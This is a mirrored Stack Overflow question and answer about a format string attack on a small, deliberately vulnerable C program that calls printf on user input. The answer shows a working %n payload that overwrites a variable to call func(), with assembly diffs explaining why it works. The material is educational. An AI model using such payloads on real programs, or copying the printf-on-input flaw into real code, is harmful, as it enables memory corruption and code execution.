Format string attack in printf

折月煮酒 提交于 2019-12-01 07:09:25

问题


#include <stdio.h>
int main()
{
    char s[200]
    int a=123;
    int b=&a;
    scanf("%50s",s);
    printf(s);

    if (a==31337)
        func();
}

The aim is to execute a format string attack - to execute func() by inputting a string. I tried to use %n to overwrite the variable but I came to conclusion is that it is impossible without displaying b variable first and I have no idea how. Any hint would be appreciated. Sorry for my bad english.


回答1:


Let's try with and without printing:

$ cat > f.c << \EOF
#include <stdio.h>
void func() {
    fprintf(stderr, "func\n");
}

int main()
{
    char s[200];
    int a=123;
    int b=&a;
    #ifdef FIXER
    fprintf(stderr, "%p\n", b); /* make "b" actually used somewhere */
    #endif
    scanf("%50s",s);
    printf(s);

    if (a==31337)
        func();
}
EOF

$ gcc --version | head -n 1; uname -m
gcc (Debian 4.7.2-5) 4.7.2
i686

$ gcc -S  f.c -o doesnt_work.s
f.c: In function 'main':
f.c:10:11: warning: initialization makes integer from pointer without a cast [enabled by default]
$ gcc -S -DFIXER  f.c -o does_work.s
f.c: In function 'main':
f.c:10:11: warning: initialization makes integer from pointer without a cast [enabled by default]

$ gcc doesnt_work.s -o doesnt_work; gcc does_work.s -o does_work


$ echo '%31337p%n' | ./does_work > /dev/null
0xbfe75970
func

$ echo '%31337p%n' | ./doesnt_work > /dev/null
Segmentation fault

As stated in the question, we clearly see that without printing b first it fails.

Let's compare what is hapenning inside:

$ diff -ur does_work.s doesnt_work.s
--- does_work.s 2013-02-06 03:17:06.000000000 +0300
+++ doesnt_work.s   2013-02-06 03:16:52.000000000 +0300
@@ -29,8 +29,6 @@
    .size   func, .-func
    .section    .rodata
 .LC1:
-   .string "%p\n"
-.LC2:
    .string "%50s"
    .text
    .globl  main
@@ -48,15 +46,9 @@
    movl    $123, 16(%esp)
    leal    16(%esp), %eax
    movl    %eax, 220(%esp)
-   movl    stderr, %eax
-   movl    220(%esp), %edx    /* !!! */
-   movl    %edx, 8(%esp)      /* !!! */
-   movl    $.LC1, 4(%esp)
-   movl    %eax, (%esp)
-   call    fprintf
    leal    20(%esp), %eax
    movl    %eax, 4(%esp)
-   movl    $.LC2, (%esp)
+   movl    $.LC1, (%esp)
    call    __isoc99_scanf
    leal    20(%esp), %eax
    movl    %eax, (%esp)

On marked lines we see "get value of b into %edx, then put it as 3'rd argument in stack."

As printf and scanf use cdecl call convention, the stack remains more or less the same across invocations, so that third argument remains available for the vulnerable printf for setting.

When we don't print b, it does not get into stack to be easily available for our injected format string.

With enough %p%p%p%p%p%p... we should be able to reach our actual a or b anyway, but the limitation of 50 input characters is getting in our way.



来源:https://stackoverflow.com/questions/14505995/format-string-attack-in-printf

易学教程内所有资源均来自网络或用户发布的内容,如有违反法律规定的内容欢迎反馈
该文章没有解决你所遇到的问题?点击提问,说说你的问题,让更多的人一起探讨吧!